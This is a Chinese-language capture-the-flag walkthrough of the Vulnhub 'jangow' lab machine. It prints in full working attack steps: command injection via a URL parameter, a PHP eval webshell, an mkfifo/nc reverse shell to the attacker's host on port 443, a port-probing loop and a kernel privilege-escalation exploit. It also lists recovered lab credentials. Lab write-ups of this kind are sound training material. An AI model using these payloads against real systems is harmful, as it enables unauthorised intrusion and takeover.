Vulnhub-jangow-靶机复现完整过程

2023-12-14 10:04:18

注意!
使用VMware可能获取不到IP,解决方案参考连接:

https://blog.csdn.net/qq_41918771/article/details/103636890

一、环境搭建

kali的IP地址:192.168.200.14
jangow靶机的IP地址:未知

二、信息收集

1.存活主机

netdiscover -r 192.168.200.0/24

可知目标IP 地址为 192.168.200.18
image.png

2.开放端口

nmap -A -p 1-65535 192.168.200.18

nmap -p 1-65535 -A -sV 192.168.200.18

image.png
80端口和21端口 开放

访问80端口

image.png
依次查看不同页面
buscar这个页面有问题,什么都不显示
image.png

buscar= 这算是缺少参数,尝试用命令执行,可以看到命令被成功执行
image.png

三、反弹shell

直接利用kali进行端口监听,反弹shell
bash连不上
image.png
nc 也是不行
image.png
常规的反弹shell方法都被限制了

用一句话木马写入,获取shell的方式反弹

http://192.168.200.18/site/busque.php?buscar=echo '<?php @eval($_POST['666']); ?>' >> shell.php

查看含有一句话木马的文件是否被写入到目标服务器
image.png
成功写入

连接蚁剑

成功连接
image.png
在/var/www/html/site/wordpress/目录发现config.php文件
image.png

账户名:desafio02
密码:abygurl69
数据库名:desafio02

除此之外,/var/www/html/.backup目录下
image.png

账户名:jangow01
密码:abygurl69
数据库:jangow01

起初,在端口扫描时,发现21的ftp端口开放可以利用,22的ssh端口没有开放,使用这两个用户名和密码尝试连接一下ftp
desafio02账户不行
image.png
jangow01账户连接成功,有个html的目录
image.png
经过查看,发现回到了主页部分
image.png
还查看到user.txt下的文件,显示内容如下
image.png

已知开放端口,3306端口开放,但是寻找不到数据库的账号和密码

netstat -anltp

image.png
查看靶机支持的反弹shell的方法

whereis nc bash python php exec lua perl

首先还是现在kali上进行反弹shell,经过刚才的出尝试一般的nc是是用不了的,各种反弹Shell基本无法成功
nc的指令也被限制了一部分
image.png
可能是防火墙做了端口的限制;

这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;

可以通过查看ssh的配置文件看看是否修改了端口;
image.png
看到配置文的端口还是22端口,确定是防火墙做了一些限制

后发现443端口能用(一般的服务器做端口限制不会限制80和443),当然也可以用脚本探测,先在 kali 上把 1-65535 这所有端口绑定某个端口上:

sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234

然后监听 1234:nc -lvvp 1234
在靶机上简单写一个脚本探测:

for i in{1..65535};
do 
    time 1 nc -vz 192.168.200.14 $i && echo "&i open" >> out.txt || echo "$i closed" >> closed >> out.txt
done

image.png
运行
image.png

探测出来 443 端口。那就写一个反弹 shell:

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 443 >/tmp/f");?>

image.png

成功反弹

kali开启监听(前面做了端口绑定,那直接监听 1234 即可,也可以443端口),并且访问反弹shell的php文件:
(不行就多刷新几次)
image.png
使用交互式shell、

python3 -c 'import pty;pty.spawn("/bin/bash")'

测试之前获取的两个账户

账户名:jangow01
密码:abygurl69

账户名:desafio02
密码:abygurl69

还是只能登陆jangow01账户
image.png

四、提权

查看系统版本

(www-data:/bin/sh) $ lsb_release -a 
/bin/sh: 1: cd: can't cd to /bin/sh
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:    16.04
Codename:    xenial
/bin/sh: 2: Syntax error: ";" unexpected

查看系统版本,看可利用的漏洞:
image.png
**靶机环境是ubuntu 4.4.0-31,使用 searchsploit 看看有没有什么可利用的漏洞(**内核版本4.4 Ubuntu版本为16.04.1)

searchsploit ubuntu 4.4.0-31  

image.png+
将45010.c下载到本地
image.png
查看
image.png
赋一下权限(一开始我用的 jangow01 用户做的,发现无法赋权,后来试了下 www-data 可以):
先 gcc 运行一下45010.c文件
image.png
会产生一个a.out的文件,然后运行它,就会得到root权限,查看flag
image.png
image.png

文章来源:https://blog.csdn.net/Continuejww/article/details/134967887
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。